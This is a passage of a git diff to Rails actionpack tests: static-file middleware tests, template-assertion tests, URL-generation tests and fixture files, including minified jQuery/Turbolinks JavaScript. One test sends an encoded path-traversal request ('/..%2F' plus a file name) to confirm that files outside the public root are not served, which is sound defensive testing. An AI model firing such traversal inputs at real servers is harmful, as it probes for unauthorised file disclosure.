   unless RbConfig::CONFIG['host_os'] =~ /mswin|mingw/
     def test_serves_static_file_with_colon
@@ -123,21 +162,33 @@ module StaticTests
 
   private
 
+    def assert_gzip(file_name, response)
+      expected = File.read("#{FIXTURE_LOAD_PATH}/#{public_path}" + file_name)
+      actual   = Zlib::GzipReader.new(StringIO.new(response.body)).read
+      assert_equal expected, actual
+    end
+
     def assert_html(body, response)
       assert_equal body, response.body
       assert_equal "text/html", response.headers["Content-Type"]
+      assert_nil response.headers["Vary"]
     end
 
-    def get(path)
-      Rack::MockRequest.new(@app).request("GET", path)
+    def get(path, headers = {})
+      Rack::MockRequest.new(@app).request("GET", path, headers)
     end
 
     def with_static_file(file)
-      path = "#{FIXTURE_LOAD_PATH}/public" + file
-      File.open(path, "wb+") { |f| f.write(file) }
+      path = "#{FIXTURE_LOAD_PATH}/#{public_path}" + file
+      begin
+        File.open(path, "wb+") { |f| f.write(file) }
+      rescue Errno::EPROTO
+        skip "Couldn't create a file #{path}"
+      end
+
       yield file
     ensure
-      File.delete(path)
+      File.delete(path) if File.exist? path
     end
 end
 
@@ -145,11 +196,42 @@ class StaticTest < ActiveSupport::TestCase
   DummyApp = lambda { |env|
     [200, {"Content-Type" => "text/plain"}, ["Hello, World!"]]
   }
-  App = ActionDispatch::Static.new(DummyApp, "#{FIXTURE_LOAD_PATH}/public", "public, max-age=60")
 
   def setup
-    @app = App
+    @root = "#{FIXTURE_LOAD_PATH}/public"
+    @app = ActionDispatch::Static.new(DummyApp, @root, "public, max-age=60")
+  end
+
+  def public_path
+    "public"
   end
 
   include StaticTests
+
+  def test_custom_handler_called_when_file_is_outside_root
+    filename = 'shared.html.erb'
+    assert File.exist?(File.join(@root, '..', filename))
+    env = {
+      "REQUEST_METHOD"=>"GET",
+      "REQUEST_PATH"=>"/..%2F#{filename}",
+      "PATH_INFO"=>"/..%2F#{filename}",
+      "REQUEST_URI"=>"/..%2F#{filename}",
+      "HTTP_VERSION"=>"HTTP/1.1",
+      "SERVER_NAME"=>"localhost",
+      "SERVER_PORT"=>"8080",
+      "QUERY_STRING"=>""
+    }
+    assert_equal(DummyApp.call(nil), @app.call(env))
+  end
+end
+
+class StaticEncodingTest < StaticTest
+  def setup
+    @root = "#{FIXTURE_LOAD_PATH}/公共"
+    @app = ActionDispatch::Static.new(DummyApp, @root, "public, max-age=60")
+  end
+
+  def public_path
+    "公共"
+  end
 end
diff --git a/actionpack/test/dispatch/template_assertions_test.rb b/actionpack/test/dispatch/template_assertions_test.rb
new file mode 100644
index 0000000000..7278754b49
--- /dev/null
+++ b/actionpack/test/dispatch/template_assertions_test.rb
@@ -0,0 +1,110 @@
+require 'abstract_unit'
+
+class AssertTemplateController < ActionController::Base
+  def render_with_partial
+    render partial: 'test/partial'
+  end
+
+  def render_with_template
+    render 'test/hello_world'
+  end
+
+  def render_with_layout
+    @variable_for_layout = 'hello'
+    render 'test/hello_world', layout: "layouts/standard"
+  end
+
+  def render_with_file
+    render file: 'README.rdoc'
+  end
+
+  def render_nothing
+    head :ok
+  end
+end
+
+class AssertTemplateControllerTest < ActionDispatch::IntegrationTest
+  def test_template_reset_between_requests
+    get '/assert_template/render_with_template'
+    assert_template 'test/hello_world'
+
+    get '/assert_template/render_nothing'
+    assert_template nil
+  end
+
+  def test_partial_reset_between_requests
+    get '/assert_template/render_with_partial'
+    assert_template partial: 'test/_partial'
+
+    get '/assert_template/render_nothing'
+    assert_template partial: nil
+  end
+
+  def test_layout_reset_between_requests
+    get '/assert_template/render_with_layout'
+    assert_template layout: 'layouts/standard'
+
+    get '/assert_template/render_nothing'
+    assert_template layout: nil
+  end
+
+  def test_file_reset_between_requests
+    get '/assert_template/render_with_file'
+    assert_template file: 'README.rdoc'
+
+    get '/assert_template/render_nothing'
+    assert_template file: nil
+  end
+
+  def test_template_reset_between_requests_when_opening_a_session
+    open_session do |session|
+      session.get '/assert_template/render_with_template'
+      session.assert_template 'test/hello_world'
+
+      session.get '/assert_template/render_nothing'
+      session.assert_template nil
+    end
+  end
+
+  def test_partial_reset_between_requests_when_opening_a_session
+    open_session do |session|
+      session.get '/assert_template/render_with_partial'
+      session.assert_template partial: 'test/_partial'
+
+      session.get '/assert_template/render_nothing'
+      session.assert_template partial: nil
+    end
+  end
+
+  def test_layout_reset_between_requests_when_opening_a_session
+    open_session do |session|
+      session.get '/assert_template/render_with_layout'
+      session.assert_template layout: 'layouts/standard'
+
+      session.get '/assert_template/render_nothing'
+      session.assert_template layout: nil
+    end
+  end
+
+  def test_file_reset_between_requests_when_opening_a_session
+    open_session do |session|
+      session.get '/assert_template/render_with_file'
+      session.assert_template file: 'README.rdoc'
+
+      session.get '/assert_template/render_nothing'
+      session.assert_template file: nil
+    end
+  end
+
+  def test_assigns_do_not_reset_template_assertion
+    get '/assert_template/render_with_layout'
+    assert_equal 'hello', assigns(:variable_for_layout)
+    assert_template layout: 'layouts/standard'
+  end
+
+  def test_cookies_do_not_reset_template_assertion
+    get '/assert_template/render_with_layout'
+    cookies
+    assert_template layout: 'layouts/standard'
+  end
+end
diff --git a/actionpack/test/dispatch/test_request_test.rb b/actionpack/test/dispatch/test_request_test.rb
index 65ad8677f3..cc35d4594e 100644
--- a/actionpack/test/dispatch/test_request_test.rb
+++ b/actionpack/test/dispatch/test_request_test.rb
@@ -18,7 +18,7 @@ class TestRequestTest < ActiveSupport::TestCase
     assert_equal "0.0.0.0", env.delete("REMOTE_ADDR")
     assert_equal "Rails Testing", env.delete("HTTP_USER_AGENT")
 
-    assert_equal [1, 2], env.delete("rack.version")
+    assert_equal [1, 3], env.delete("rack.version")
     assert_equal "", env.delete("rack.input").string
     assert_kind_of StringIO, env.delete("rack.errors")
     assert_equal true, env.delete("rack.multithread")
diff --git a/actionpack/test/dispatch/uploaded_file_test.rb b/actionpack/test/dispatch/uploaded_file_test.rb
index 72f3d1db0d..55ebbd5143 100644
--- a/actionpack/test/dispatch/uploaded_file_test.rb
+++ b/actionpack/test/dispatch/uploaded_file_test.rb
@@ -18,6 +18,12 @@ module ActionDispatch
       assert_equal "UTF-8", uf.original_filename.encoding.to_s
     end
 
+    def test_filename_should_always_be_in_utf_8
+      uf = Http::UploadedFile.new(:filename => 'foo'.encode(Encoding::SHIFT_JIS),
+                                  :tempfile => Object.new)
+      assert_equal "UTF-8", uf.original_filename.encoding.to_s
+    end
+
     def test_content_type
       uf = Http::UploadedFile.new(:type => 'foo', :tempfile => Object.new)
       assert_equal 'foo', uf.content_type
@@ -33,6 +39,12 @@ module ActionDispatch
       assert_equal 'foo', uf.tempfile
     end
 
+    def test_to_io_returns_the_tempfile
+      tf = Object.new
+      uf = Http::UploadedFile.new(:tempfile => tf)
+      assert_equal tf, uf.to_io
+    end
+
     def test_delegates_path_to_tempfile
       tf = Class.new { def path; 'thunderhorse' end }
       uf = Http::UploadedFile.new(:tempfile => tf.new)
diff --git a/actionpack/test/dispatch/url_generation_test.rb b/actionpack/test/dispatch/url_generation_test.rb
index f919592d24..ce1e1d0a6a 100644
--- a/actionpack/test/dispatch/url_generation_test.rb
+++ b/actionpack/test/dispatch/url_generation_test.rb
@@ -15,15 +15,19 @@ module TestUrlGeneration
     Routes.draw do
       get "/foo", :to => "my_route_generating#index", :as => :foo
 
+      resources :bars
+
       mount MyRouteGeneratingController.action(:index), at: '/bar'
     end
 
+    APP = build_app Routes
+
     def _routes
       Routes
     end
 
     def app
-      Routes
+      APP
     end
 
     test "generating URLS normally" do
@@ -35,12 +39,12 @@ module TestUrlGeneration
     end
 
     test "the request's SCRIPT_NAME takes precedence over the route" do
-      get "/foo", {}, 'SCRIPT_NAME' => "/new", 'action_dispatch.routes' => Routes
+      get "/foo", headers: { 'SCRIPT_NAME' => "/new", 'action_dispatch.routes' => Routes }
       assert_equal "/new/foo", response.body
     end
 
     test "the request's SCRIPT_NAME wraps the mounted app's" do
-      get '/new/bar/foo', {}, 'SCRIPT_NAME' => '/new', 'PATH_INFO' => '/bar/foo', 'action_dispatch.routes' => Routes
+      get '/new/bar/foo', headers: { 'SCRIPT_NAME' => '/new', 'PATH_INFO' => '/bar/foo', 'action_dispatch.routes' => Routes }
       assert_equal "/new/bar/foo", response.body
     end
 
@@ -64,18 +68,30 @@ module TestUrlGeneration
 
     test "port is extracted from the host" do
       assert_equal "http://www.example.com:8080/foo", foo_url(host: "www.example.com:8080", protocol: "http://")
+      assert_equal "//www.example.com:8080/foo", foo_url(host: "www.example.com:8080", protocol: "//")
+      assert_equal "//www.example.com:80/foo", foo_url(host: "www.example.com:80", protocol: "//")
+    end
+
+    test "port option is used" do
+      assert_equal "http://www.example.com:8080/foo", foo_url(host: "www.example.com", protocol: "http://", port: 8080)
+      assert_equal "//www.example.com:8080/foo", foo_url(host: "www.example.com", protocol: "//", port: 8080)
+      assert_equal "//www.example.com:80/foo", foo_url(host: "www.example.com", protocol: "//", port: 80)
     end
 
-    test "port option overides the host" do
+    test "port option overrides the host" do
       assert_equal "http://www.example.com:8080/foo", foo_url(host: "www.example.com:8443", protocol: "http://", port: 8080)
+      assert_equal "//www.example.com:8080/foo", foo_url(host: "www.example.com:8443", protocol: "//", port: 8080)
+      assert_equal "//www.example.com:80/foo", foo_url(host: "www.example.com:443", protocol: "//", port: 80)
     end
 
     test "port option disables the host when set to nil" do
       assert_equal "http://www.example.com/foo", foo_url(host: "www.example.com:8443", protocol: "http://", port: nil)
+      assert_equal "//www.example.com/foo", foo_url(host: "www.example.com:8443", protocol: "//", port: nil)
     end
 
     test "port option disables the host when set to false" do
       assert_equal "http://www.example.com/foo", foo_url(host: "www.example.com:8443", protocol: "http://", port: false)
+      assert_equal "//www.example.com/foo", foo_url(host: "www.example.com:8443", protocol: "//", port: false)
     end
 
     test "keep subdomain when key is true" do
@@ -97,6 +113,22 @@ module TestUrlGeneration
     test "omit subdomain when key is blank" do
       assert_equal "http://example.com/foo", foo_url(subdomain: "")
     end
+
+    test "generating URLs with trailing slashes" do
+      assert_equal "/bars.json", bars_path(
+        trailing_slash: true,
+        format: 'json'
+      )
+    end
+
+    test "generating URLS with querystring and trailing slashes" do
+      assert_equal "/bars.json?a=b", bars_path(
+        trailing_slash: true,
+        a: 'b',
+        format: 'json'
+      )
+    end
+
   end
 end
 
diff --git a/actionpack/test/fixtures/functional_caching/formatted_fragment_cached_with_variant.html+phone.erb b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached_with_variant.html+phone.erb
new file mode 100644
index 0000000000..e523b74ae3
--- /dev/null
+++ b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached_with_variant.html+phone.erb
@@ -0,0 +1,3 @@
+<body>
+<%= cache do %><p>PHONE</p><% end %>
+</body>
diff --git a/actionpack/test/fixtures/helpers/abc_helper.rb b/actionpack/test/fixtures/helpers/abc_helper.rb
index 7104ff3730..cf2774bb5f 100644
--- a/actionpack/test/fixtures/helpers/abc_helper.rb
+++ b/actionpack/test/fixtures/helpers/abc_helper.rb
@@ -1,5 +1,3 @@
 module AbcHelper
   def bare_a() end
-  def bare_b() end
-  def bare_c() end
 end
diff --git a/actionpack/test/fixtures/helpers/helpery_test_helper.rb b/actionpack/test/fixtures/helpers/helpery_test_helper.rb
deleted file mode 100644
index a4f2951efa..0000000000
--- a/actionpack/test/fixtures/helpers/helpery_test_helper.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-module HelperyTestHelper
-  def helpery_test
-    "Default"
-  end
-end
diff --git a/actionpack/test/fixtures/helpers_typo/admin/users_helper.rb b/actionpack/test/fixtures/helpers_typo/admin/users_helper.rb
new file mode 100644
index 0000000000..7d2326e04d
--- /dev/null
+++ b/actionpack/test/fixtures/helpers_typo/admin/users_helper.rb
@@ -0,0 +1,5 @@
+module Admin
+  module UsersHelpeR
+  end
+end
+
diff --git a/actionpack/test/fixtures/localized/hello_world.de.html b/actionpack/test/fixtures/localized/hello_world.de.html
index 4727d7a7e0..a8fc612c60 100644
--- a/actionpack/test/fixtures/localized/hello_world.de.html
+++ b/actionpack/test/fixtures/localized/hello_world.de.html
@@ -1 +1 @@
-Gutten Tag
\ No newline at end of file
+Guten Tag
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diff --git a/actionpack/test/fixtures/localized/hello_world.it.erb b/actionpack/test/fixtures/localized/hello_world.it.erb
new file mode 100644
index 0000000000..9191fdc187
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diff --git a/actionpack/test/fixtures/public/gzip/application-a71b3024f80aea3181c09774ca17e712.js b/actionpack/test/fixtures/public/gzip/application-a71b3024f80aea3181c09774ca17e712.js
new file mode 100644
index 0000000000..1826a7660e
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Lt=/^(?:input|select|textarea)$/i,Ht=/^key/,_t=/^(?:mouse|pointer|contextmenu)|click/,qt=/^(?:focusinfocus|focusoutblur)$/,Ft=/^([^.]*)(?:\.(.+)|)$/;it.event={global:{},add:function(e,t,n,r,i){var o,a,s,l,u,c,d,f,p,h,m,g=it._data(e);if(g){for(n.handler&&(l=n,n=l.handler,i=l.selector),n.guid||(n.guid=it.guid++),(a=g.events)||(a=g.events={}),(c=g.handle)||(c=g.handle=function(e){return typeof it===Et||e&&it.event.triggered===e.type?void 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o,a,s,l,u,c,d,f,p,h,m,g=it.hasData(e)&&it._data(e);if(g&&(c=g.events)){for(t=(t||"").match(bt)||[""],u=t.length;u--;)if(s=Ft.exec(t[u])||[],p=m=s[1],h=(s[2]||"").split(".").sort(),p){for(d=it.event.special[p]||{},p=(r?d.delegateType:d.bindType)||p,f=c[p]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),l=o=f.length;o--;)a=f[o],!i&&m!==a.origType||n&&n.guid!==a.guid||s&&!s.test(a.namespace)||r&&r!==a.selector&&("**"!==r||!a.selector)||(f.splice(o,1),a.selector&&f.delegateCount--,d.remove&&d.remove.call(e,a));l&&!f.length&&(d.teardown&&d.teardown.call(e,h,g.handle)!==!1||it.removeEvent(e,p,g.handle),delete c[p])}else for(p in c)it.event.remove(e,p+t[u],n,r,!0);it.isEmptyObject(c)&&(delete g.handle,it._removeData(e,"events"))}},trigger:function(t,n,r,i){var o,a,s,l,u,c,d,f=[r||ht],p=tt.call(t,"type")?t.type:t,h=tt.call(t,"namespace")?t.namespace.split("."):[];if(s=c=r=r||ht,3!==r.nodeType&&8!==r.nodeType&&!qt.test(p+it.event.triggered)&&(p.indexOf(".")>=0&&(h=p.split("."),p=h.shift(),h.sort()),a=p.indexOf(":")<0&&"on"+p,t=t[it.expando]?t:new it.Event(p,"object"==typeof t&&t),t.isTrigger=i?2:3,t.namespace=h.join("."),t.namespace_re=t.namespace?new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 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t,n,r,i,o,a=[],s=Y.call(arguments),l=(it._data(this,"events")||{})[e.type]||[],u=it.event.special[e.type]||{};if(s[0]=e,e.delegateTarget=this,!u.preDispatch||u.preDispatch.call(this,e)!==!1){for(a=it.event.handlers.call(this,e,l),t=0;(i=a[t++])&&!e.isPropagationStopped();)for(e.currentTarget=i.elem,o=0;(r=i.handlers[o++])&&!e.isImmediatePropagationStopped();)(!e.namespace_re||e.namespace_re.test(r.namespace))&&(e.handleObj=r,e.data=r.data,n=((it.event.special[r.origType]||{}).handle||r.handler).apply(i.elem,s),void 0!==n&&(e.result=n)===!1&&(e.preventDefault(),e.stopPropagation()));return u.postDispatch&&u.postDispatch.call(this,e),e.result}},handlers:function(e,t){var n,r,i,o,a=[],s=t.delegateCount,l=e.target;if(s&&l.nodeType&&(!e.button||"click"!==e.type))for(;l!=this;l=l.parentNode||this)if(1===l.nodeType&&(l.disabled!==!0||"click"!==e.type)){for(i=[],o=0;s>o;o++)r=t[o],n=r.selector+" ",void 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t=e.target,n=it.nodeName(t,"input")||it.nodeName(t,"button")?t.form:void 0;n&&!it._data(n,"submitBubbles")&&(it.event.add(n,"submit._submit",function(e){e._submit_bubble=!0}),it._data(n,"submitBubbles",!0))})},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.isTrigger&&it.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){return it.nodeName(this,"form")?!1:void it.event.remove(this,"._submit")}}),nt.changeBubbles||(it.event.special.change={setup:function(){return Lt.test(this.nodeName)?(("checkbox"===this.type||"radio"===this.type)&&(it.event.add(this,"propertychange._change",function(e){"checked"===e.originalEvent.propertyName&&(this._just_changed=!0)}),it.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&(this._just_changed=!1),it.event.simulate("change",this,e,!0)})),!1):void it.event.add(this,"beforeactivate._change",function(e){var t=e.target;Lt.test(t.nodeName)&&!it._data(t,"changeBubbles")&&(it.event.add(t,"change._change",function(e){!this.parentNode||e.isSimulated||e.isTrigger||it.event.simulate("change",this.parentNode,e,!0)}),it._data(t,"changeBubbles",!0))})},handle:function(e){var t=e.target;return this!==t||e.isSimulated||e.isTrigger||"radio"!==t.type&&"checkbox"!==t.type?e.handleObj.handler.apply(this,arguments):void 0},teardown:function(){return it.event.remove(this,"._change"),!Lt.test(this.nodeName)}}),nt.focusinBubbles||it.each({focus:"focusin",blur:"focusout"},function(e,t){var n=function(e){it.event.simulate(t,e.target,it.event.fix(e),!0)};it.event.special[t]={setup:function(){var r=this.ownerDocument||this,i=it._data(r,t);i||r.addEventListener(e,n,!0),it._data(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this,i=it._data(r,t)-1;i?it._data(r,t,i):(r.removeEventListener(e,n,!0),it._removeData(r,t))}}}),it.fn.extend({on:function(e,t,n,r,i){var o,a;if("object"==typeof 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i,o,a,s=it.camelCase(t),l=e.style;if(t=it.cssProps[s]||(it.cssProps[s]=S(l,s)),a=it.cssHooks[t]||it.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];if(o=typeof n,"string"===o&&(i=cn.exec(n))&&(n=(i[1]+1)*i[2]+parseFloat(it.css(e,t)),o="number"),null!=n&&n===n&&("number"!==o||it.cssNumber[s]||(n+="px"),nt.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),!(a&&"set"in a&&void 0===(n=a.set(e,n,r)))))try{l[t]=n}catch(u){}}},css:function(e,t,n,r){var i,o,a,s=it.camelCase(t);return t=it.cssProps[s]||(it.cssProps[s]=S(e.style,s)),a=it.cssHooks[t]||it.cssHooks[s],a&&"get"in a&&(o=a.get(e,!0,n)),void 0===o&&(o=tn(e,t,r)),"normal"===o&&t in fn&&(o=fn[t]),""===n||n?(i=parseFloat(o),n===!0||it.isNumeric(i)?i||0:o):o}}),it.each(["height","width"],function(e,t){it.cssHooks[t]={get:function(e,n,r){return n?ln.test(it.css(e,"display"))&&0===e.offsetWidth?it.swap(e,dn,function(){return L(e,t,r)}):L(e,t,r):void 0},set:function(e,n,r){var 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e,t=it.timers,n=0;for(hn=it.now();n<t.length;n++)e=t[n],e()||t[n]!==e||t.splice(n--,1);t.length||it.fx.stop(),hn=void 0},it.fx.timer=function(e){it.timers.push(e),e()?it.fx.start():it.timers.pop()},it.fx.interval=13,it.fx.start=function(){mn||(mn=setInterval(it.fx.tick,it.fx.interval))},it.fx.stop=function(){clearInterval(mn),mn=null},it.fx.speeds={slow:600,fast:200,_default:400},it.fn.delay=function(e,t){return e=it.fx?it.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},function(){var e,t,n,r,i;t=ht.createElement("div"),t.setAttribute("className","t"),t.innerHTML="  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",r=t.getElementsByTagName("a")[0],n=ht.createElement("select"),i=n.appendChild(ht.createElement("option")),e=t.getElementsByTagName("input")[0],r.style.cssText="top:1px",nt.getSetAttribute="t"!==t.className,nt.style=/top/.test(r.getAttribute("style")),nt.hrefNormalized="/a"===r.getAttribute("href"),nt.checkOn=!!e.value,nt.optSelected=i.selected,nt.enctype=!!ht.createElement("form").enctype,n.disabled=!0,nt.optDisabled=!i.disabled,e=ht.createElement("input"),e.setAttribute("value",""),nt.input=""===e.getAttribute("value"),e.value="t",e.setAttribute("type","radio"),nt.radioValue="t"===e.value}();var wn=/\r/g;it.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=it.isFunction(e),this.each(function(n){var i;1===this.nodeType&&(i=r?e.call(this,n,it(this).val()):e,null==i?i="":"number"==typeof i?i+="":it.isArray(i)&&(i=it.map(i,function(e){return null==e?"":e+""})),t=it.valHooks[this.type]||it.valHooks[this.nodeName.toLowerCase()],t&&"set"in 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n||(e.selectedIndex=-1),i}}}}),it.each(["radio","checkbox"],function(){it.valHooks[this]={set:function(e,t){return it.isArray(t)?e.checked=it.inArray(it(e).val(),t)>=0:void 0}},nt.checkOn||(it.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Tn,En,kn=it.expr.attrHandle,Cn=/^(?:checked|selected)$/i,Nn=nt.getSetAttribute,Sn=nt.input;it.fn.extend({attr:function(e,t){return At(this,it.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){it.removeAttr(this,e)})}}),it.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(e&&3!==o&&8!==o&&2!==o)return typeof e.getAttribute===Et?it.prop(e,t,n):(1===o&&it.isXMLDoc(e)||(t=t.toLowerCase(),r=it.attrHooks[t]||(it.expr.match.bool.test(t)?En:Tn)),void 0===n?r&&"get"in r&&null!==(i=r.get(e,t))?i:(i=it.find.attr(e,t),null==i?void 0:i):null!==n?r&&"set"in r&&void 0!==(i=r.set(e,n,t))?i:(e.setAttribute(t,n+""),n):void it.removeAttr(e,t))},removeAttr:function(e,t){var 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t,n,r,i,o,a=[],s=Y.call(arguments),l=(it._data(this,"events")||{})[e.type]||[],u=it.event.special[e.type]||{};if(s[0]=e,e.delegateTarget=this,!u.preDispatch||u.preDispatch.call(this,e)!==!1){for(a=it.event.handlers.call(this,e,l),t=0;(i=a[t++])&&!e.isPropagationStopped();)for(e.currentTarget=i.elem,o=0;(r=i.handlers[o++])&&!e.isImmediatePropagationStopped();)(!e.namespace_re||e.namespace_re.test(r.namespace))&&(e.handleObj=r,e.data=r.data,n=((it.event.special[r.origType]||{}).handle||r.handler).apply(i.elem,s),void 0!==n&&(e.result=n)===!1&&(e.preventDefault(),e.stopPropagation()));return u.postDispatch&&u.postDispatch.call(this,e),e.result}},handlers:function(e,t){var n,r,i,o,a=[],s=t.delegateCount,l=e.target;if(s&&l.nodeType&&(!e.button||"click"!==e.type))for(;l!=this;l=l.parentNode||this)if(1===l.nodeType&&(l.disabled!==!0||"click"!==e.type)){for(i=[],o=0;s>o;o++)r=t[o],n=r.selector+" ",void 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e,t=it.timers,n=0;for(hn=it.now();n<t.length;n++)e=t[n],e()||t[n]!==e||t.splice(n--,1);t.length||it.fx.stop(),hn=void 0},it.fx.timer=function(e){it.timers.push(e),e()?it.fx.start():it.timers.pop()},it.fx.interval=13,it.fx.start=function(){mn||(mn=setInterval(it.fx.tick,it.fx.interval))},it.fx.stop=function(){clearInterval(mn),mn=null},it.fx.speeds={slow:600,fast:200,_default:400},it.fn.delay=function(e,t){return e=it.fx?it.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},function(){var e,t,n,r,i;t=ht.createElement("div"),t.setAttribute("className","t"),t.innerHTML="  <link/><table></table><a href='/a'>a</a><input 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this._crossOrigin()||this._anchored()||this._nonHtml()||this._optOut()||this._target()},t.prototype._crossOrigin=function(){return this.origin!==(new n).origin},t.prototype._anchored=function(){var e;return(this.hash&&this.withoutHash())===(e=new n).withoutHash()||this.href===e.href+"#"},t.prototype._nonHtml=function(){return this.pathname.match(/\.[a-z]+$/g)&&!this.pathname.match(new RegExp("\\.(?:"+t.HTML_EXTENSIONS.join("|")+")?$","g"))},t.prototype._optOut=function(){var e,t;for(t=this.link;!e&&t!==document;)e=null!=t.getAttribute("data-no-turbolink"),t=t.parentNode;return e},t.prototype._target=function(){return 0!==this.link.target.length},t}(n),t=function(){function e(e){this.event=e,this.event.defaultPrevented||(this._extractLink(),this._validForTurbolinks()&&(A()||U(this.link.href),this.event.preventDefault()))}return e.installHandlerLast=function(t){return t.defaultPrevented?void 0:(document.removeEventListener("click",e.handle,!1),document.addEventListener("click",e.handle,!1))},e.handle=function(t){return new e(t)},e.prototype._extractLink=function(){var e;for(e=this.event.target;e.parentNode&&"A"!==e.nodeName;)e=e.parentNode;return"A"===e.nodeName&&0!==e.href.length?this.link=new r(e):void 0},e.prototype._validForTurbolinks=function(){return null!=this.link&&!(this.link.shouldIgnore()||this._nonStandardClick())},e.prototype._nonStandardClick=function(){return this.event.which>1||this.event.metaKey||this.event.ctrlKey||this.event.shiftKey||this.event.altKey},e}(),u=function(e){return setTimeout(e,500)},k=function(){return document.addEventListener("DOMContentLoaded",function(){return X("page:change"),X("page:update")},!0)},N=function(){return"undefined"!=typeof jQuery?jQuery(document).on("ajaxSuccess",function(e,t){return jQuery.trim(t.responseText)?X("page:update"):void 0}):void 0},C=function(e){var t,r;return(null!=(r=e.state)?r.turbolinks:void 0)?(t=j[new n(e.state.url).absolute])?(c(),x(t)):U(e.target.location.href):void 0},E=function(){return R(),O(),h=i(),document.addEventListener("click",t.installHandlerLast,!0),u(function(){return window.addEventListener("popstate",C,!1)})},T=void 0!==window.history.state||navigator.userAgent.match(/Firefox\/2[6|7]/),s=window.history&&window.history.pushState&&window.history.replaceState&&T,o=!navigator.userAgent.match(/CriOS\//),I="GET"===(G=L("request_method"))||""===G,l=s&&o&&I,a=document.addEventListener&&document.createEvent,a&&(k(),N()),l?(U=b,E()):U=function(e){return document.location.href=e},this.Turbolinks={visit:U,pagesCached:D,enableTransitionCache:g,allowLinkExtensions:r.allowExtensions,supported:l}}.call(this),function(){}.call(this);
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/gzip/foo.zoo.gz b/actionpack/test/fixtures/public/gzip/foo.zoo.gz
new file mode 100644
index 0000000000..f62c656dc8
--- /dev/null
+++ b/actionpack/test/fixtures/public/gzip/foo.zoo.gz
diff --git a/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+phablet.erb b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+phablet.erb
new file mode 100644
index 0000000000..e905d051bf
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+phablet.erb
@@ -0,0 +1 @@
+phablet
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+tablet.erb b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+tablet.erb
new file mode 100644
index 0000000000..65526af8cf
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+tablet.erb
@@ -0,0 +1 @@
+tablet
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_inline_syntax_without_block.html+phone.erb b/actionpack/test/fixtures/respond_to/variant_inline_syntax_without_block.html+phone.erb
new file mode 100644
index 0000000000..cd222a4a49
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_inline_syntax_without_block.html+phone.erb
@@ -0,0 +1 @@
+phone
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_plus_none_for_format.html.erb b/actionpack/test/fixtures/respond_to/variant_plus_none_for_format.html.erb
new file mode 100644
index 0000000000..c86c3f3551
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_plus_none_for_format.html.erb
@@ -0,0 +1 @@
+none
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb b/actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb
new file mode 100644
index 0000000000..317801ad30
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb
@@ -0,0 +1 @@
+mobile
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_with/edit.html.erb b/actionpack/test/fixtures/respond_with/edit.html.erb
deleted file mode 100644
index ae82dfa4fc..0000000000
--- a/actionpack/test/fixtures/respond_with/edit.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-Edit world!
diff --git a/actionpack/test/fixtures/respond_with/new.html.erb b/actionpack/test/fixtures/respond_with/new.html.erb
deleted file mode 100644
index 96c8f1b88b..0000000000
--- a/actionpack/test/fixtures/respond_with/new.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-New world!
diff --git a/actionpack/test/fixtures/respond_with/using_invalid_resource_with_template.xml.erb b/actionpack/test/fixtures/respond_with/using_invalid_resource_with_template.xml.erb
deleted file mode 100644
index bf5869ed22..0000000000
--- a/actionpack/test/fixtures/respond_with/using_invalid_resource_with_template.xml.erb
+++ /dev/null
@@ -1 +0,0 @@
-<content>I should not be displayed</content>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_with/using_options_with_template.xml.erb b/actionpack/test/fixtures/respond_with/using_options_with_template.xml.erb
deleted file mode 100644
index b313017913..0000000000
--- a/actionpack/test/fixtures/respond_with/using_options_with_template.xml.erb
+++ /dev/null
@@ -1 +0,0 @@
-<customer-name><%= @customer.name %></customer-name>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_with/using_resource.js.erb b/actionpack/test/fixtures/respond_with/using_resource.js.erb
deleted file mode 100644
index 4417680bce..0000000000
--- a/actionpack/test/fixtures/respond_with/using_resource.js.erb
+++ /dev/null
@@ -1 +0,0 @@
-alert("Hi");
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_with/using_resource_with_block.html.erb b/actionpack/test/fixtures/respond_with/using_resource_with_block.html.erb
deleted file mode 100644
index 6769dd60bd..0000000000
--- a/actionpack/test/fixtures/respond_with/using_resource_with_block.html.erb
